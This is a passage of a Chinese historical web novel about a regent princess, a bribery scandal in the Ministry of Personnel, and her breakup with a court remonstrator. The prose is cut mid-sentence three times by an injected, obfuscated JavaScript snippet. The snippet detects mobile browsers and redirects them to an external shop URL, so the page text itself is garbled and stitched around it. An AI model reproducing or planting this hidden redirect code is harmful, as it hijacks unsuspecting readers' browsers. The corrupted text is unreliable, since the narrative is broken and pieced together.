空气里浮动着温润的气息，皇城门前，文武百官鱼贯而入。 户部侍郎跟刑部侍郎抱怨：“幸亏雨到夜里就停了，否则得消停一晚上。” 不等刑部侍郎开口，一旁又凑上来一个人，“听说后半夜城隍庙走水了。” 此言一出，大家顿时纷纷摇头。 “我上个月还刚捐了香火钱。” “我也是！” “宣群臣进殿——” 內侍尖细的声音刺破长空，众人连忙闭口，纷纷端着各自的玉笏上殿。 明玉高坐在明堂之上，连眼皮都没抬一下。 “有事起奏，无事退朝——” “臣有本奏！” 明玉掀了下眼皮，是工部侍郎，米耀平。 米耀平厉声道：“臣参吏部吴忠信泄露吏部考核信息，出卖国家利器以谋私利；搅乱官员迁转秩序，令朝廷失信于民……” 议论声顿时掀翻了朝堂。 米耀平的眼神几乎要将韩俊臣盯穿。 明玉捏着奏折垂眸未语。 萧启道：“韩大人怎么说？” 韩俊臣答得不紧不慢，“米侍郎参的又不是臣——臣无话可说，一切按大理寺章程来便是了。” 米耀平冷嗤一声，“韩大人这么急着辩白自己，莫不是心虚吧！是不是也害怕午夜梦回的时候冤魂来索命啊！” 直到此时此刻，韩俊臣才终于看了他一眼，却如同在看一个傻子—— “米大人不愧庚子年探花出身，”他不冷不热道，“编故事的文采倒是不错。若真有话，大殿之上，条分理晰，真凭实据，讲出来便是，拐这种弯子，米大人以为这里是市井茶楼，您来说书了吗？” 米耀平脸色顿时涨成猪肝色，“你你、你！” 明玉微微抬头，坐在正央的萧启迅速向薛行简的方向投去一瞥，而后者始终低着头。 她垂下眼，今日天还未明时，薛行简便进了宫。 他给启儿递了一份奏折。 米耀平气急败坏道：“昨夜城隍庙大火，有人在院里发现了松油的痕迹，可怜一对老父子啊，抬着亲闺女的棺材进京伸冤，还没等面见天颜，先遭了小人暗算！ “陛下，长公主殿下！”他深深作了一揖，“青州立丘府傅溟宠妾灭妻，纵容妾侍谋害嫡子，逼死发妻秦氏，秦家父子为此告到知府、知州，却惨遭毒打，险些丧命。” “而这一切，”米耀平恨恨的看向韩俊臣，“不过是因为他有个当知府的爹——立丘府知府傅几道！这个傅几道不学无术，专会钻营，不仅纵容其子，为虎作伥，更肆意侵吞百姓财产，敲诈冤主！ “韩大人，我倒要问问你，就这样一个人，是给了你多少钱，才让你把知府的位置卖给他！” 明玉眯眼，韩俊臣如剑的目光已经射在米耀平脸上，“米大人，大家同朝为官，这里不是青楼米市，说话都是要有凭据的！” 米耀平冷笑一声，“那不知道韩大人前面说的要按大理寺的程序走，这话还做不做数？” 在这等着呢，明玉心中了然，食指轻轻点在扶手上精雕细刻的凤头上。 韩俊臣一撩衣摆，双膝跪地，“臣凭圣上明断。” 米耀平立刻跟上，“请圣上明断。” “请圣上明断——” 忽然间，下面乌压压跪了一片。 ——倒好似早就排练好的一般。 明玉心底冷笑，斜前方的皇帝似有几分苦恼的看过来。 那目光倒仿佛在等她自首一般。 明玉全做不见，重新将折本打开，仿佛台下发生的一切逼迫都只是一场与她无关的闹剧。 既渴望挥斥方遒，又不愿承担剥削亲人的罪恶感，这怎么能行呢？ 她心底冷笑，这天底下哪有这样好的事？ 萧启又扫了眼台下那片模糊的黑脑袋，这样的场景突然与某个梦境中的画面重合—— 心底的热血突然顶上脑海，萧启“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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明玉随手一折，攀一下一枝浅粉的花朵，“他在观槿楼留信了？” 寒碧点头，“大人怀疑，是为了均地的事儿。” 芳甜的气味弥漫在鼻间，“是不是，”她眸色难辨，“很快就知道了。” *** 三日后。 刑部查报吏部侍郎韩俊臣，通过文书吴忠信勾结上下，收受贿赂，买卖官职。 皇帝震怒，满朝哗然，韩俊臣、吴忠信一干人等收押天牢。 而刑部官员在查抄侍郎府时，正撞见韩夫人焚烧账本，刚好一举抓获。 而账本之上，白纸黑字，所有赃款的去向，却全都指向了一个人。 朝野内外，突然陷入子夜般的寂静。 所有人都知道，这是暴风雨降临的先兆。 只等天明便要翻天覆地！ 而在城东的公主府，却与往常一般没有半分异样。 灯火寂静，明玉凭案临帖，笔势沉稳，写的是卫夫人的楷书。 笔尖勾转，一扭，一提，明天不知道多少人想看她失势落魄的样子…… 可惜，他们既然等了十年……那便再等四年吧。 帘声轻动，她颔首搁笔，“寒碧——” “是我。” 明玉一愣，从案后缓缓抬头。 她缓缓勾起唇角。 “夜探公主府，谏议好雅兴。” 18. 决裂 船篙划破水面，荡起的涟漪剪碎月影。 小船穿过水面，连边高高低低的荷叶连成一片。 明玉坐在船尾，纤细的手指划破清凉的水面。 寂静的夜色里，她看向站在船头的那个人，唇角放松的扬起，“你竟然还会撑船。” 夜色中他仿佛笑了一声，“江州是水乡，我自幼在水边长大。” 他微微侧头，白色的月光落在他的下颌，“我可不仅会撑船——” 明玉脸色忽然一红。 夜风徐徐，在这满天莲叶无穷碧的地方，仿佛整个天地都为之一静。 他放下船蒿，走到她面前。 明玉仰头，他在她面前俯身，好让她与他平视。 “夫人瘦了。” 她轻轻一笑，“思君令人瘦。” “夫人又在取笑我。” 夜风中，他的声音朦胧而温柔。 明玉的眼神忽然迷离了三分。 恍然间，仿佛朝堂纷争，民生财政，都突然被抛得好远…… 好似这天地间，只剩下他们两个…… 小船摇摇晃晃地停在湖心，明玉起身，握着他的手，踏着水光迈上湖心四面亭的台阶。 清风一荡，她的发丝拂过他的面颊，一点点麻痒瞬间在心里扎了根，行简低着头拉她手在美人靠上坐下。 “你瘦了。”他握着她的手道。 明玉笑容不减，却说的是另一件事，“谏议进来艳福不浅。” 薛行简面色顿时一片空白。 明玉“噗嗤”一笑，眉梢更弯了几分，“现在满京城都知道郑姑娘心悦你了。” “……”他不自然的咳了一声，“……那是她的事。” 明玉笑得更加大声。 她的笑容在这月色之下熠熠生辉，行简心底忽然一松，连日的担忧忽然散去了大半。 “兰台的折子已经都送到宫里了。” 明玉笑容不变，“按理说是该这样。” “今天早晨，秦老父子在大理寺击鼓鸣冤，士林之间也已传得沸沸扬扬。” “嗯。” 他一瞬不瞬地看着她，仿佛想看到她心里去，“我知道这后面还有很多牵扯，可今天的局面——” “你想让我弃卒保车。”她笑着打断他。 “是。” 明玉托腮看他，与平日在萧启面前不同，此时坐在她对面的他，带了三分孩子气的执拗。 “吴忠信已经认罪，人证物证都在——虽称不上铁证，但是背后的牵扯太深，韩大人很难脱身。” 他言辞恳切，眼中甚至带了三分恳求，“何况，即便这次侥幸，你归政以后，这把刀还是要落下来。 “飞鸟归巢前会啄清羽毛，是保全自己与家人，也是为了日落后的安稳。” 归巢，日落…… 明玉低头一笑，忽然对他多了三分歉疚。 行简一怔，她抬手抚上他的脸，“怀瑾，我监国十年，还有四年，便要与这一切做个了结。” 她眼底的笑意还未褪去，声音里去忽然含了某种悲戚，但这悲戚不是无根的浮萍，而是坚韧的松柏。 “但俊臣不一样，他今年三十六岁，已经是吏部侍郎，四年后，当我走下权位，他却还该是大周的柱臣。” 她的声音格外冷静，月色下，她紧紧盯着他的眼睛：“弃卒保车，真正要保的，是他……不是我。” 行简脸色一白，明玉松开他的手，目光转向远处。 苍茫的夜色下，无穷的碧叶层层铺开。 “何况，那么多罪名，他一个吏部侍郎，又怎么担的过来” 月光下她的侧脸虚虚实实，她明明就在他身边，去忽然隔了千万里一般。 心底陡然掀起滔天骇浪，行简轻声道：“所以……担下所有的罪名，洗清所有追随你的官员，这就是你的打算，对吗？” 明玉站起来，逆着月光看向他，“是。” 他心底忽然一凉。 “他们是为我办事的，维护的是朝廷的利益。而权贵们，”她对他微微一笑，，“他们忍了十四年，总该有个出气的口子。” 巨浪瞬间化为泡沫，潮水瞬间化作虚空，行简的心直往下坠，脸上却突然笑了一下：“这就是你在义庄那个晚上说的‘引颈受戮’，是吗？” “是。”她应得毫无犹豫。 “所以在你四年后的人生里，你从未想过要分我一席之地，是不是？” 他站起来，与她并肩而立。 明玉没有说话。 她的目光如此温柔，仿佛世上最钝的刀，每一刀都缓缓插进他心里。 行简忽然俯身，逼近她的眼睛。 “在你心里，我不过是一段随时可以了结的露水姻缘，对吧。” 他的声音低柔，带着三分缠绵的错觉。 她眼底温柔的光终于熄灭，只剩一片微凉的坚定，坚定得冷漠。她抚上他的脸，冰凉的指尖一片冷湿。 她轻轻开口—— “是。” 利箭入冰，寒冰破裂，行简猛地退后一步，他所有的冷静突然崩塌。 明玉紧握住想要去扶他的手，强迫自己站在原地，什么都不做。 良久，他突然笑了一声，“所以，韩俊臣是你不惜一切代价都要保住的人，我却是随时都可以丢弃的对象。” 他抬起眼来，“对吗？” 明玉没有回答。 行简笑了一声，带着三分自嘲和挥之不去的无力感。 他转过身，船艄在阶下浮动，他没有再回头。 “我知道了。” *** 弦月凄清，浮云飘碎。 荷风四面亭里只剩下明玉一人。 她靠在柱子上，明明是温暖的夏夜，却只觉得身上真真发冷。 四年以后…… 怎么可能没有想过呢…… 她无法控制不停颤抖的手，但还能控制自己什么都不做。 他是这样骄傲的人，话说到这个份上，就是真的结束了吧…… 明明是她自己选的路，明明早知道是这样的结果，这时候倒又自怨自艾起来了…… 萧明玉，你什么时候这么矫情了！ 泪水啪地跌在地上，明玉笑得不可自抑。 身后忽然传来船板撞击石阶的声音。 明玉知道，是寒碧来了。 她抬起头，直接绕过欲言又止的寒碧，踏上船板。 寒碧低了头，撑起船篙。 怀里是他留下的外衣，明玉抱膝坐在船尾。 衣服上是他惯有的清冽气息，即便在他走后，依旧不曾散去。 泪水滑进衣袂，明玉闭上眼睛，一点声息都没有。 对面的寒碧猛地别过头，吸了吸鼻子。 薛行简是一个人回到岸上的。 他的脸上几乎一丝血色也无，惨白的月光下竟有几分怖人。 赶到嘴边的质问忽然就没了声音。 他什么也没有说，左脚的鞋子掉了，也毫无所觉。 “她还在湖心。” 只留下这一句，薛行简挥开想要来扶他的赵四的手，离开了。 夜里的风也静悄悄的，寒碧又胡乱抹了两把眼睛，十年了……从先帝驾崩，殿下再未在人前流过一滴泪…… 留湘姑娘过世时，她一个人在祠堂坐了一宿，第二天依旧照常上朝。 寒碧拍拍脸，努力做出什么都没有发生的样子。 她心里不由埋怨薛行简，埋怨到后面，又开始埋怨自己，如果当初不是自己撺掇明玉…… 船很快近岸，寒碧连忙扔了船篙，明玉却已经自己站了起来。 她面上已经是一如既往的平静，仿佛什么都没有发生。声音却格外低沉：“告诉翠微，让她注意保护莬茵的安全。” 寒碧连忙低头，“是！” *** 很快，韩俊臣下狱的消息便如长了腿的风一样，不出一日，京城上下，便连三岁的稚童都要在墙上画个“韩”字，再吐口吐沫了。 每一双盯在他身上的眼睛，嘲讽、怜悯、叹惋，还有得意、观望，和跃跃欲试。几乎每个人都恨不得再多长一张嘴，好从他身上多咬下一块肉来。 然而不幸赶上休沐，所有的腥风血雨便都被短暂地压在了京城各大世家的深宅旧院。 明玉一如既往的临帖，作画，煎茶。 寒碧心底的担忧却越来越重，这已经是她今天补的第五盘枣花酥了。 她昨夜陪殿下回屋后，一直守到下半夜才敢回去。 然而早晨起来却不见了明玉。 她连水盆都忘记放下，直接端着一盆热水就奔到了祠堂。她深吸了口气，将水盆放到一边，蹑手蹑脚的推开门。 一瞄到屋里熟悉的人影，她的心先落了大半。 明玉靠在香案前，火焰在她面前不停跳动，火舌卷起的黑灰不断飘落。 她将一封封没有收信人的信封丢进火盆里，缭绕的烟雾中是瞬间化为灰烬的信纸。 寒碧死死捂住嘴，蹑手蹑脚的退后，缓缓请屋门重新掩好。 眼圈阵阵发红，她低着头端着水盆往回走，怎么会突然这样了呢……明明七夕的时候还好好的……她扁了扁嘴，鼻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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见明玉依旧没有什么反应，郑冲接着道：“但万事都有转圜的余地，大家毕竟同朝为官，谁也不想脸上弄的太难看不是，立丘府那两个人——”他皱眉想了半天，也没想起那两个平民的名字，“不过是想要银子，傅家当初给的确实少了点儿，也活该他们倒霉，畏手畏脚的，贪着眼前那点儿，一看就不是当官的命！” 明玉扯起嘴角一笑，“没有人，比太傅更懂为官之道了。” 郑冲低头笑了几声，“老臣惜才，也是替朝廷惜才。老臣为官多年，跟朝里的几位大人也都算的上熟悉，想来他们也都跟老臣一样，都心怀惋惜呢。” 明玉心底的厌烦几乎达到顶点，面上却越发不显，眼底甚至染上了几分兴味的笑意，“老大人费心了。” “哪里哪里，”郑冲连连摆手，“不过老臣也有个不情之请，想请殿下成全。” “太傅请讲。” “臣的小女儿，诗书文章，琴画皆通，眼光也高。这些年老臣与内子为着她的婚事不知道愁白了多少头发。可巧，终归是天可怜见，门下省薛谏议文采风流，正与小女情投意合。” 他这样说着，脸上从苦大仇深到老怀欣慰，一气呵成。 明玉捏着茶杯的手微微发紧，心底翻涌的苦水瞬间流遍四肢百骸，而面前郑冲的嘴巴仍在一开一合。 “老臣这才厚着脸皮来，想求殿下做个月老，成就好事！” *** “二位大人都很好。不过，”薛行简将两份折子重新摆在皇帝面前，“李大人年轻干练，性格激越，吏部人际复杂，恐怕容易生事。王大人虽然缺乏拓斧的魄力，却资历深厚，经验老道，该能在此次事变之后快速稳住吏部。” 萧启皱了皱眉，一时没说好还是不好。 薛行简清楚，皇帝属意的大概还是没有前朝经历的李雪铭。沉默半晌，他突然岔开话题，“陛下是觉得殿下不会保韩大人吗？” 萧启诧异的看了他一眼，眼神里的奇怪仿佛在说：你在说什么傻话。 “阿姐重情，当然会保韩俊臣。” 薛行简心里一刺。 “何况，”萧启突然凑近他，眼底的笑意意味深长，“韩俊臣是姐夫留下的人。” 他面色顿时一白，萧瑟的寒风逼退了他最后一点唇色。 萧启却并无所觉似的摇了摇头，“但最多也就保他一条命吧——是阿姐心太软，当初没有斩草除根，才给了何家反击的机会。” 他机械的点点头，“是。” 紧接着又是狂风骤雨般的一阵猛咳嗽。 19. 转机 七月廿八，长公主抱病。 兰台弹劾的奏折几乎堆满了大明宫的每一个角落，工部郎中——郑冲远房外甥的小妾妹夫领衔上奏，女主无德，当提前归政皇上。 一石激起千层浪，朝中各色人物纷纷登场，或冷嘲热讽，或道貌岸然，却都有几分争先恐后的急切。 所有经明玉提拔的臣属，全都陷入了一阵艰涩的沉默。 朝堂的火烧的正旺，明玉掩面猛咳了一阵，寒碧连忙放下果盘给她顺气。 “咳咳——”她就着寒碧的手抿了一口茶，苍白的脸上现出两抹病态的红晕。 “朝上都说什么？” “……都是老生常谈了，”寒碧将刚放温的银耳莲子羹放到她手里，“只这次，有人撺掇着，要您提前归政于陛下。” 明玉冷笑一声，她低头搅了搅碗中透明的银耳，“启儿大了，他们的心也大了。谁领的头，郭家吗？” “是郑尚书那边的关系，想来也是郭家的打算。” *** 监牢四壁昏暗，滴水声不知从何处传来。 狱卒打开牢门，点头哈腰地退下。 明玉走到何应臻面前，居高临下地看着他。 “何老看起来，精神不错。” 何应臻嗤笑一声，花白的头发凌乱的散在肩头。 他突然抬起头狠狠地盯住她：“殿下以为，这就结束了吗？韩俊臣今天能从这里出去，明天说不定就直接人头落地了。” 明玉面色不变，监狱恶臭的气味也不曾让她皱一皱眉头。 她蹲下身与他平视：“想法不错。看起来何老还不知道呢。” 她微微一顿，看到何光耀脸色一变，他仿佛被逼到穷途末路的恶犬，目露凶光地盯着她，“什么意思？” “你们何家不仅被举贪污、卖官、诬陷，你的两个儿子还强占土地，淫人妻女，”明玉侃侃道，“如今这牢里，可不止关着你一人——你何家上上下下，一个不多，一个不少，都在这儿陪着你呢。” “你！妖女！妖女——咳，咳咳咳——” 明玉抬手替他顺了顺气：“何老一把年纪了，何必这么大气性呢？要是和吴忠信一样折在这腌臜之地，你何家满门一百多口人，可就真的没什么指望了。” 何光耀抖着胡子瞪她，“殿下真以为可以一手遮天吗？那账本、明明——” “明明什么？”她歪头，“何老是指望着您朝中的那些门生救您？还是跟您一起卖官的同僚救您？” 迎着何应臻惊恐的目光，明玉微微一笑：“陛下宽仁，杀鸡儆猴足矣，并不想赶尽杀绝。” “滴答——滴答——”水声在看不见的地方滴落，何应臻眼底的光也一点一点落下去。 她笑容不变：“本宫念旧，还记得十年前诛杀燕王时，何老也曾刀斧加身而不惧，毫不犹豫的站在本宫一边。” 何应臻清明的眼神渐渐浑浊，他忽地笑了一声：“公主，十年了，你从一开始就在谋划着今天了，对吧。” 他哈哈笑着，“老臣也曾怀疑过……那些人明明出身佃户，怎么可能拿得出三千两，是殿下自己贴的钱吧！ “殿下打着与我们合作的名义又自己掏钱给我们，十年苦心经营，不惜以韩俊臣为饵，又故意抱病拖延……” 明玉老神在在：“可路，是何老自己选的。” “哈哈哈哈——”何应臻喘了几口，抖着手扶住墙壁，“开条件吧！ “殿下要怎样，才能保下我几位孙儿的命……” *** 何应臻认罪了。 萧启坐在宣室的案台后，盯着面前回报的奏折久久不能回神。 他想起韩俊臣在牢里待了整整三天，却只字不言！ 哪怕吴忠信留下的遗书将所有的矛头都指向他，万罪加身，他也不曾低头半分。 而现在，两朝元老的何应臻，却在不过六个时辰后，认罪了…… 所有指证何家的罪证也如雨后春笋一般，层出不穷的冒了出来。 而所有人都认为即便不死也要扒层皮的韩俊臣，不仅在最后一刻全身而退，还成为了最先发掘何家贪污反被何家报复的“吹哨人”！ 他的姐姐，将所有人都玩弄于股掌之中…… 想到这里，他后背猛地出了一层冷汗。 正在此时，安德的声音突然闯了进来：“陛下，陛下？薛谏议来了。” 萧启一愣，下意识看了眼窗外，喉咙里不禁咳了两声。 “宣。” 黄昏的光从门后照进来，薛行简踏着地上被拉长的影子走到皇帝面前。 “陛下万安。” 萧启点点头。 薛行简的脸上一如既往的没有什么表情，连他有时也不免在想，究竟什么才能让他这位城府颇深的老师变一变脸色。 “朕听说，现在整个兰台都对老师钦佩不已。” “陛下言过了，”薛行简微一拱手，“臣只是做了该做的事。” 一个猜测蓦地划过心底，萧启眼神陡然一深，唇角却勾起了几分笑意，“老师其实早就知道，会是这样的结局了吧。” 所以才会警告兰台的言官们不要顺势附言，攻讦他的姐姐。 他是脚踩两只船，还是身在曹营心在汉？ 薛行简依旧微微低着头，“臣曾以为殿下会弃卒保车，但陛下告诉臣殿下一定会保下韩侍郎，所以臣大胆猜测，殿下或许还留了后手。” 萧启眼神微微一变，面色却缓和了不少。 薛行简接着道：“至于兰台，‘清谈误国’的帽子不知扣了多久。臣倒不惧清谈，但即便没有实凭，也该是有理有据，而不是污言秽语的堆砌。否则……” 他抬起头来看向他，“不如直接去菜市场聘人，倒比科考来的省时省力。” “哈哈哈，老师倒是一贯高瞻远瞩……”萧启放过他，“但下一任天官的位置，看来还是非韩俊臣莫属了。” 萧启低头一笑，这次的笑里便有了几分失意的味道。 薛行简声音不变：“倒也不尽然。” 敲在砚台上的食指蓦地一顿，萧启眯了眯眼：“老师的意思是？” “韩侍郎平白受辱，陛下宽仁，可曾慰问？” 萧启皱眉，不明白他为什么突然提起这一茬，“安德已经带旨去过一趟韩府了……” 蓦地，他眼睛一亮，“老师的意思是——” 薛行简点头，“陛下可以升韩侍郎为江汉巡抚。” 名为嘉奖，调离中央，明升暗贬。 高明！ 萧启兴奋的脸上又浮上了两团红晕：“不愧是老师，果然高见。” *** “咳咳咳——” 夜色渐深，公主府的书房内，明玉以书抵头微微喘息。 韩俊臣的案子已经了了，她的病却还没有见好的意思。 瓷器轻轻落在桌面，只道是寒碧又来劝她喝药，她又咳了一声，“放着吧，我一会儿喝。” 说着，她将书再次摊开。 “唉……” 这个声音…… 明玉笑了笑，“他们到还挺会未雨绸缪的，要是我现在死了，说不定他们能撺掇着皇上鞭尸以谢天下。” “呸呸呸！”寒碧跪在她膝边，“什么死不死的，殿下快别说这种话，陛下也绝不会听信那些小人的谗言的。” 明玉笑容不变，眼底的凄怆却如结了霜的冰面。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16956377|193136||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“郭家向来自诩支持正统，十年前他们站在我这边帮我诛杀燕王，所图不过启儿年幼，我一介女流，可由他们把持朝政。 “而现在，”她乏力的靠在躺椅上，头顶满是新开的粉色花朵，“同样冠冕堂皇的理由，他们所图，不过是启儿年轻，更容易糊弄而已。” “那——” “哪有那么简单，”她阖着眼，干裂的嘴唇泛着不健康的白色，“他们也知道没那么容易扳倒我，现在不过是急着向皇帝表忠心罢了。” “那好赖也还有四年呢，他们就不怕把您得罪狠了，到时候连有没有命活到四年后领‘从龙之功’都不一定呢吗。” 明玉被她逗笑，笑到后面又连咳了几声，她睁开眼看着寒碧愤愤不平的脸，道：“四年，早已是强弩之末，只怕是我巴着他们还来不及，哪敢再多给自己树敌呢？” 寒碧眼眶一红，明玉心里一软，抬手温柔的摸了摸她的发顶，“启儿怎么说？” “陛下申斥了几个闹的狠的，下旨彻查此案。” 这样啊……她无可无不可的点头，或许他也有几分唇亡齿寒吧， 远处飞来的燕子缓缓落在树梢，她的眼神开始无意识的飘远。 “殿下。” 明玉一愣。 “……婢子听说今儿朝会后，谏议……申斥了兰台。” 谏议……明玉低下头，面前又浮现出那晚他苍白的脸。 得不到的东西多思又有何益？ 须臾，她若无其事地咽下勺中的甜汤，“他说什么？” *** 七月三十，长公主病情加重。 朝堂上却没了第一天的“热闹躁动”，殿央大刺刺甩着一本用朱笔标记的账本，刺的满堂都不自禁屏住了呼吸。 “刑部的眼睛都长到天上去了吗！”萧启冷笑，“连对账的数目不吻合都看不出来，朕养你们还不如直接去菜市场雇个账房！” 而岂止是账目不对，账目中牵涉的官员更有多达七成是出身寒门。 这么多天了，所有的矛头，所有的奏折都在指向他的姐姐，关于何家，满朝文武，连个屁都没有！ 他在台上焦躁的走了个来回，台下的群臣纷纷下跪山呼“臣有罪！” 震荡的声浪徘徊在殿间，不断回响，萧启立在殿上，仿佛被四面八方的敌人环绕。 萧启本能的看向旁边雕着凤凰呈祥的金椅，如今那上面空无一人，这殿上也只剩他一人—— 他神色蓦地一顿，内监那天回报薛行简训斥兰台的话，突然在脑海中响起： “兰台百家姓，从不言一家之言——” 一瞬间，殿外似有风起，萧启猛地踢了一脚书案。 “查！给朕查！朕倒要看看，这天下到底是跟谁姓的？！” 天子之怒，流血千里。 刑部核了四天的账才发现的错误，半日后，韩俊臣便被人抬出了天牢。 而同一时间，何应臻入狱，巧合的关进了韩俊臣待过的牢房。 *** 梆子敲过三声，韩夫人含着泪给虚弱得仿佛下一刻便要断气的韩俊臣喂米汤。 韩俊臣叹了一声，睁开眼睛，挡住她要继续喂他的手，“我离死还有点远，你想演贤妇，可以去给我炖只鸡。” 韩莬茵把勺子塞进他嘴里。 “韩府没有炖鸡，想吃，去梦里找薛大人吧。” 同一时刻，昏暗了数百年的牢房里已只剩下远处狱卒的鼾声与近处老鼠的“吱吱”声。 牢房霉了数十年的阴湿味道混杂着汗水的腥臭直扑鼻间，前方传来锁链打开的声音。 蜷在阴冷的角落里何应臻突然冷笑道：“殿下来，是来痛打落水狗吗？”